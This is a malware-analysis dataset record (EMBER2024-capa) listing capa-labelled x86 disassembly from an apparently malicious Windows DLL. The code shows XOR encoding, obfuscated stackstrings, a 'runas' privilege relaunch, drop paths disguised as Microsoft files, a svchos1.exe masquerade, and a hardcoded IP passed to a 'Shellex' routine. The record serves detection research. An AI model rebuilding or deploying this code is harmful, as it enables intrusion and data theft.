joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10019ee0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp]
push eax
push ecx
mov dword [esp + 8], 0
call fcn.10019d80
add esp, 8
xor ecx, ecx
test eax, eax
jle 0x10019f28
push ebx
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
add bl, 0x6d
mov byte [ecx + edx], bl
mov edx, dword [esp + 4]
mov bl, byte [ecx + edx]
xor bl, 0x13
mov byte [ecx + edx], bl
inc ecx
cmp ecx, eax
jl 0x10019f02
mov eax, dword [esp + 4]
pop ebx
pop ecx
ret
mov eax, dword [esp]
pop ecx
ret
Function at 0x10019f30
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
sub esp, 0x240
mov ax, word [0x1011f580]
mov cl, byte [0x1011f582]
push ebx
push esi
push edi
mov word [esp + 0x4c], ax
mov byte [esp + 0x4e], cl
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x4f]
rep stosd dword es:[edi], eax
mov dx, word [0x1011f57c]
mov ecx, 0x3f
stosb byte es:[edi], al
mov al, byte [0x1011f57e]
lea edi, [esp + 0x14f]
mov byte [esp + 0x14e], al
xor eax, eax
mov word [esp + 0x14c], dx
lea edx, [esp + 0x4c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea edi, [esp + 0x14c]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x48
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x10], 0x57
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov bl, 0x44
and ecx, 3
mov byte [esp + 0xf], bl
rep movsb byte es:[edi], byte [esi]
mov cl, 0x45
mov byte [esp + 0x15], bl
mov byte [esp + 0x13], cl
mov byte [esp + 0x16], cl
mov al, 0x41
mov dl, 0x52
mov bl, 0x53
mov cl, 0x49
mov byte [esp + 0xd], al
mov byte [esp + 0xe], dl
mov byte [esp + 0x11], al
mov byte [esp + 0x12], dl
mov byte [esp + 0x17], bl
mov byte [esp + 0x19], dl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1d], cl
mov byte [esp + 0x21], bl
mov al, 0x5c
mov bl, 0x73
mov cl, 0x74
mov dl, 0x65
mov byte [esp + 0x14], al
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x1b], 0x50
mov byte [esp + 0x1c], 0x54
mov byte [esp + 0x1e], 0x4f
mov byte [esp + 0x1f], 0x4e
mov byte [esp + 0x20], al
mov byte [esp + 0x22], 0x79
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], al
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x38], al
mov eax, 4
mov byte [esp + 0x2b], cl
mov dword [esp + 0x48], eax
mov dword [esp + 0x44], eax
mov cl, 0x72
lea eax, [esp + 0x3c]
mov byte [esp + 0x2c], cl
mov byte [esp + 0x30], cl
mov byte [esp + 0x37], cl
push eax
push 1
lea ecx, [esp + 0x14]
push 0
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x50
mov byte [esp + 0x45], 0x6f
mov byte [esp + 0x46], 0x63
mov byte [esp + 0x47], dl
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x6f
mov byte [esp + 0x4d], 0x30
mov byte [esp + 0x4e], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 0x48]
lea eax, [esp + 0x40]
push edx
lea ecx, [esp + 0x48]
push eax
mov eax, dword [esp + 0x44]
push ecx
lea edx, [esp + 0x58]
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x40]
pop edi
pop esi
pop ebx
add esp, 0x240
ret
Function at 0x1001a100
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x24
push ebx
xor ebx, ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [esp + 0x10]
push eax
push 0x100eacc0
push 1
push ebx
push 0x100eace0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x1001a130
xor eax, eax
pop ebx
add esp, 0x24
ret
mov eax, dword [esp + 0x10]
lea edx, [esp + 4]
push 0
push edx
mov ecx, dword [eax]
push 0x100eacd0
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x1001a151
xor eax, eax
pop ebx
add esp, 0x24
ret
mov eax, dword [esp + 4]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 4]
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0xc]
mov edx, dword [eax]
push ecx
push 1
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x1001a1f0
push edi
mov edi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
push 0x100b7a24
mov edx, dword [eax]
push 0
push 0
push eax
call dword [edx + 0x24]
test eax, eax
jl 0x1001a1cb
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push 0
mov word [esp + 0x20], 8
mov edx, dword [eax]
push ecx
push str.FriendlyName
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x1001a1c1
mov edx, dword [esp + 0x24]
inc ebx
push edx
call edi
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 8]
lea edx, [esp + 0x18]
push edx
lea edx, [esp + 0x10]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x1001a17c
pop edi
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, ebx
pop ebx
add esp, 0x24
ret

Function at 0x1001a220
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x38
mov al, 0x74
push esi
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0x10], al
lea eax, [esp + 4]
mov cl, 0x65
push eax
push str.kernel32.dll
xor esi, esi
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], cl
mov byte [esp + 0xf], 0x4e
mov byte [esp + 0x10], 0x61
mov byte [esp + 0x12], 0x69
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x14], cl
mov byte [esp + 0x15], 0x53
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0x73
mov byte [esp + 0x19], cl
mov byte [esp + 0x1a], 0x6d
mov byte [esp + 0x1b], 0x49
mov byte [esp + 0x1c], 0x6e
mov byte [esp + 0x1d], 0x66
mov byte [esp + 0x1e], 0x6f
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001a2c5
lea ecx, [esp + 0x18]
push ecx
call eax
mov ax, word [esp + 0x18]
cmp ax, 9
je 0x1001a2bb
cmp ax, 6
jne 0x1001a2c5
mov eax, 1
pop esi
add esp, 0x38
ret
mov eax, esi
pop esi
add esp, 0x38
ret
Function at 0x1001a8f0
Capabilities:
Get file size
Get hostname
Read file on windows

Disassembly:
sub esp, 0x508
mov eax, dword [str.TGByteSetup]
mov ecx, dword [0x100fb06c]
mov edx, dword [0x100fb070]
push ebx
mov dword [esp + 0x10c], eax
mov al, byte [0x100fb074]
push ebp
push esi
push edi
mov dword [esp + 0x11c], ecx
mov byte [esp + 0x124], al
mov ecx, 0xfc
xor eax, eax
lea edi, [esp + 0x125]
mov dword [esp + 0x120], edx
mov ebp, dword [esp + 0x520]
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x51c]
mov ecx, ebp
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edx, ecx
xor eax, eax
mov edi, ebx
push 0
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebp
and ecx, 3
push 0
rep stosb byte es:[edi], al
push ebx
push 1
lea eax, [esp + 0x12c]
push str.Host
push eax
push reloc.WS2_32.dll_accept
call fcn.10014700
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
push ebx
call esi
test eax, eax
jne 0x1001a9f7
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveHost.sys
lea edi, [esp + 0x14]
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x37
lea edi, [esp + 0x40]
push 0x80
push 3
rep stosd dword es:[edi], eax
push eax
push 1
lea ecx, [esp + 0x28]
push bind
push ecx
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001a9ea
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea edx, [esp + 0x10]
push 0
push edx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call esi
test eax, eax
jne 0x1001aa06
push ebp
push ebx
call dword [sym.imp.WS2_32.dll_gethostname]
push ebx
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x508
ret
Function at 0x1001aa20
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x13c
mov eax, dword [str.TGByteSetup]
mov ecx, dword [0x100fb06c]
mov edx, dword [0x100fb070]
push ebx
mov dword [esp + 8], eax
mov al, byte [0x100fb074]
push ebp
push esi
push edi
mov dword [esp + 0x18], ecx
mov byte [esp + 0x20], al
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x21]
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0x154]
mov ebx, dword [esp + 0x150]
push 0
rep stosd dword es:[edi], eax
mov ecx, edx
push edx
stosb byte es:[edi], al
mov esi, ecx
xor eax, eax
mov edi, ebx
push 0
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
push ebx
and ecx, 3
push 1
rep stosb byte es:[edi], al
lea ecx, [esp + 0x28]
push str.BITS
push ecx
push reloc.WS2_32.dll_accept
call fcn.10014700
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x20
push ebx
call ebp
test eax, eax
jne 0x1001ab10
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveBITS.sys
lea edi, [esp + 0x48]
push eax
push 0x80
push 3
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, 0x37
lea edi, [esp + 0x80]
push 1
lea edx, [esp + 0x5c]
push bind
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001ab09
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [esp + 0x10]
push 0
push ecx
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x13c
ret
Function at 0x1001ab20
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0x148
mov eax, dword [str.TGByteSetup]
mov ecx, dword [0x100fb06c]
mov edx, dword [0x100fb070]
mov dword [esp + 0x10], eax
mov al, byte [0x100fb074]
push ebp
push esi
push edi
mov dword [esp + 0x20], ecx
mov byte [esp + 0x28], al
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x29]
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x160]
mov ebp, dword [esp + 0x15c]
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
stosb byte es:[edi], al
mov esi, ecx
xor eax, eax
mov edi, ebp
push edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, esi
push 0
and ecx, 3
push ebp
rep stosb byte es:[edi], al
lea ecx, [esp + 0x1c]
push 1
lea edx, [esp + 0x30]
push ecx
push edx
push reloc.WS2_32.dll_accept
mov byte [esp + 0x2c], 0x4d
mov byte [esp + 0x2d], 0x61
mov byte [esp + 0x2e], 0x72
mov byte [esp + 0x2f], 0x6b
mov byte [esp + 0x30], 0x54
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], 0
call fcn.10014700
add esp, 0x20
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x1001ac37
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveMark.sys
lea edi, [esp + 0x50]
push eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x37
lea edi, [esp + 0x7c]
push 0x80
push 3
rep stosd dword es:[edi], eax
mov dword [esp + 0x24], eax
push eax
push 1
lea eax, [esp + 0x64]
push bind
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1001ac30
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
lea ecx, [esp + 0x18]
push 0
push ecx
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
pop edi
pop esi
pop ebp
add esp, 0x148
ret
Function at 0x1001b1f0
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x1001b24a
mov eax, dword [esp]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x1001b217
mov eax, str.MODEM_l
pop ecx
ret
mov edx, eax
and edx, 2
cmp dl, 2
jne 0x1001b228
mov eax, str.LAN_l
pop ecx
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x1001b239
mov eax, str.PROXY_l
pop ecx
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY_l
je 0x1001b24a
mov eax, str.OTHER_l
pop ecx
ret
Function at 0x1001d480
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1001d49a
test al, 0x10
jne 0x1001d49a
mov eax, 1
ret
xor eax, eax
ret
Function at 0x1001e440
Capabilities:
Contain obfuscated stackstrings
Write file on windows

Disassembly:
sub esp, 0x274
push ebx
push esi
push edi
mov ecx, 0xa
mov esi, str.C:ProgramDataMicrosoft_DriveMark.sys
lea edi, [esp + 0x17c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
push eax
mov ecx, 0x37
lea edi, [esp + 0x1a8]
push 0x80
push 4
push eax
rep stosd dword es:[edi], eax
push 2
lea eax, [esp + 0x190]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, dword [str.TGByteSetup]
mov edx, dword [0x100fb06c]
mov esi, eax
mov eax, dword [0x100fb070]
mov dword [esp + 0x44], ecx
mov cl, byte [0x100fb074]
mov dword [esp + 0x4c], eax
mov byte [esp + 0x50], cl
mov ecx, 9
xor eax, eax
lea edi, [esp + 0x51]
mov dword [esp + 0x48], edx
rep stosd dword es:[edi], eax
lea edx, [esp + 0x34]
mov dword [esp + 0x30], 0
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x79]
mov byte [esp + 0x78], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x64
mov cl, 0x25
mov byte [esp + 0x1a], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x24], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2e], al
mov eax, dword [esp + 0x3e]
mov byte [esp + 0x18], cl
mov byte [esp + 0x1c], cl
mov dl, 0x32
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2b], cl
mov ecx, dword [esp + 0x3c]
mov byte [esp + 0x1e], dl
mov byte [esp + 0x23], dl
mov byte [esp + 0x28], dl
mov byte [esp + 0x2d], dl
mov edx, dword [esp + 0x3a]
and eax, 0xffff
mov bl, 0x2e
and ecx, 0xffff
push eax
mov byte [esp + 0x1d], 0x34
mov byte [esp + 0x1f], 0x2d
mov byte [esp + 0x21], bl
mov byte [esp + 0x24], 0x2d
mov byte [esp + 0x26], bl
mov byte [esp + 0x29], 0x20
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2e], 0x3a
mov byte [esp + 0x30], bl
mov byte [esp + 0x33], 0
push ecx
and edx, 0xffff
mov eax, dword [esp + 0x3e]
mov ecx, dword [esp + 0x3c]
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
lea edx, [esp + 0x28]
push ecx
lea eax, [esp + 0x8c]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x1c
lea ecx, [esp + 0x30]
lea edi, [esp + 0x78]
xor eax, eax
push 0
push ecx
or ecx, 0xffffffff
lea edx, [esp + 0x80]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + 0x14], 0x4d
push ecx
push edx
push esi
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], 0x6b
mov byte [esp + 0x24], 0x54
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], 0x65
mov byte [esp + 0x28], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edi, [esp + 0x78]
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x7c]
push ecx
push eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x54]
push ecx
push edx
push reloc.WS2_32.dll_accept
call fcn.10014ca0
add esp, 0x1c
pop edi
pop esi
pop ebx
add esp, 0x274
ret
Function at 0x1001e640
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x148
mov al, 0x50
push ebx
mov byte [esp + 9], al
mov byte [esp + 0x20], al
mov al, 0x73
push ebp
mov byte [esp + 0x2f], al
mov byte [esp + 0x31], al
push esi
lea eax, [esp + 0x28]
push edi
lea ecx, [esp + 0x10]
mov bl, 0x6c
push eax
push ecx
mov byte [esp + 0x18], 0x53
mov byte [esp + 0x19], 0x48
mov byte [esp + 0x1a], 0x4c
mov byte [esp + 0x1b], 0x57
mov byte [esp + 0x1c], 0x41
mov byte [esp + 0x1e], 0x49
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0
mov byte [esp + 0x35], 0x61
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x68
mov byte [esp + 0x38], 0x46
mov byte [esp + 0x39], 0x69
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x65
mov byte [esp + 0x3c], 0x45
mov byte [esp + 0x3d], 0x78
mov byte [esp + 0x3e], 0x69
mov byte [esp + 0x40], 0x74
mov byte [esp + 0x42], 0x41
mov byte [esp + 0x43], 0
call fcn.1001b660
mov ebp, eax
mov al, 0x72
mov byte [esp + 0x45], al
mov byte [esp + 0x4c], al
mov byte [esp + 0x51], al
lea edx, [esp + 0x44]
lea eax, [esp + 0x24]
push edx
push eax
mov byte [esp + 0x2c], 0x4b
mov byte [esp + 0x2d], 0x45
mov byte [esp + 0x2e], 0x52
mov byte [esp + 0x2f], 0x4e
mov byte [esp + 0x30], 0x45
mov byte [esp + 0x31], 0x4c
mov byte [esp + 0x32], 0x33
mov byte [esp + 0x33], 0x32
mov byte [esp + 0x34], 0x2e
mov byte [esp + 0x35], 0x64
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0
mov byte [esp + 0x4c], 0x43
mov byte [esp + 0x4e], 0x65
mov byte [esp + 0x4f], 0x61
mov byte [esp + 0x50], 0x74
mov byte [esp + 0x51], 0x65
mov byte [esp + 0x52], 0x44
mov byte [esp + 0x53], 0x69
mov byte [esp + 0x55], 0x65
mov byte [esp + 0x56], 0x63
mov byte [esp + 0x57], 0x74
mov byte [esp + 0x58], 0x6f
mov byte [esp + 0x5a], 0x79
mov byte [esp + 0x5b], 0x41
mov byte [esp + 0x5c], 0
call fcn.1001b660
add esp, 0x10
mov dword [esp + 0x50], eax
mov byte [esp + 0x54], 0
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x55]
rep stosd dword es:[edi], eax
mov ebx, dword [esp + 0x15c]
mov ecx, dword [0x1012bb9c]
stosw word es:[edi], ax
push ebx
stosb byte es:[edi], al
call fcn.10010d60
mov edi, eax
xor esi, esi
test edi, edi
jbe 0x1001e7f1
cmp byte [esi + ebx], 0x5c
jne 0x1001e7ec
push esi
lea ecx, [esp + 0x58]
push ebx
push ecx
mov ecx, dword [0x1012bb9c]
call fcn.10010cd0
lea edx, [esp + 0x54]
push edx
call ebp
test eax, eax
jne 0x1001e7ec
push eax
lea eax, [esp + 0x58]
push eax
call dword [esp + 0x58]
inc esi
cmp esi, edi
jb 0x1001e7bf
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret
Function at 0x100209d0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
lea eax, [esp + 4]
xor ebx, ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
lea ecx, [esp + 0x30]
push 2
push ecx
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 5
mov dword [esp + 0x30], ebx
mov dword [esp + 0x34], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x10020a36
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 8]
pop ebx
add esp, 0x10
ret
Function at 0x10020f30
Capabilities:
Copy file

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10020f53
add esp, 0x104
ret
mov ecx, dword [esp + 0x108]
push 0
lea edx, [esp + 4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
add esp, 0x104
ret

Function at 0x10021410
Capabilities:
Create process on windows
Terminate process

Disassembly:
sub esp, 0x140
push 0
push str.C:UsersPublicDocumentsMM_svchos1.exe
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
cmp eax, 0xffffffff
jne 0x10021436
call fcn.100209d0
test eax, eax
je 0x1002143d
xor eax, eax
add esp, 0x140
ret
lea eax, [esp + 0x3c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x10021436
push esi
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push edi
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0xc]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x44]
push edx
mov dword [esp + 0xc], 0x3c
mov dword [esp + 0x18], str.runas
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x28], 1
call esi
test eax, eax
jne 0x1002149f
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1002145b
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
nop
nop
nop
nop
nop
nop
nop

Function at 0x100214b0
Capabilities:
Create process on windows
Create thread

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
dec eax
push edi
jne 0x10021588
call fcn.10021410
mov esi, dword [sym.imp.MSVCRT.dll__access]
push 0
push str.C:UsersPublicDocumentsMM
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 8
cmp eax, 0xffffffff
jne 0x10021521
mov edi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.cmd__c_md_C:UsersPublicDocumentsMM
call edi
push 0
push str.C:UsersPublicDocumentsMM
call esi
add esp, 8
cmp eax, 0xffffffff
jne 0x10021521
push 0
push str.cmd__c_md_C:UsersPublicDocumentsMM
call edi
push 0x3e8
call ebx
push 0
push str.C:UsersPublicDocumentsMM
call esi
add esp, 8
cmp eax, 0xffffffff
je 0x10021500
push 0x1f4
call ebx
call fcn.10020f70
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x10020fd0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10021551
push eax
call edi
push 0
push 0
push 0
push 0x100211c0
push 0
push 0
call esi
test eax, eax
je 0x10021569
push eax
call edi
sub esp, 0x848
mov ecx, 0x212
mov esi, str.27.124.13.32
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call sym.1.dll_Shellex
add esp, 0x848
pop edi
pop esi
mov eax, 1
pop ebx
ret 0xc
Function at 0x10022e40
Capabilities:
Create thread
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x1012c508
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [0x1012c824]
push 0x1012c508
inc ecx
mov dword [0x1012c824], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.10022d10
add esp, 8
cmp eax, esi
je 0x10022fdf
mov ebx, dword [esp + 0x120]
cmp eax, 1
je 0x10022f26
cmp eax, 2
je 0x10022f26
cmp eax, 3
je 0x10022f26
cmp eax, 4
jne 0x10022f9f
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.10022c80
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebx + 4]
push eax
push ecx
call fcn.100234d0
add esp, 0x1c
test eax, eax
je 0x10022fdf
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebx]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x10022f9f
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.10022db0
mov ebp, eax
add esp, 0x10
test ebp, ebp
je 0x10022fdf
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.10022c80
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebx + 4]
push edx
push eax
push esi
call fcn.100234d0
add esp, 0x1c
test eax, eax
je 0x10022fdf
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebp
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10022fdf
cmp dword [ebx], 0
je 0x10022fdf
mov eax, dword [ebx + 4]
test eax, eax
je 0x10022fdf
lea eax, [esp + 0x18]
push eax
push 0
push ebx
push 0x10023f60
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x10022fcf
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret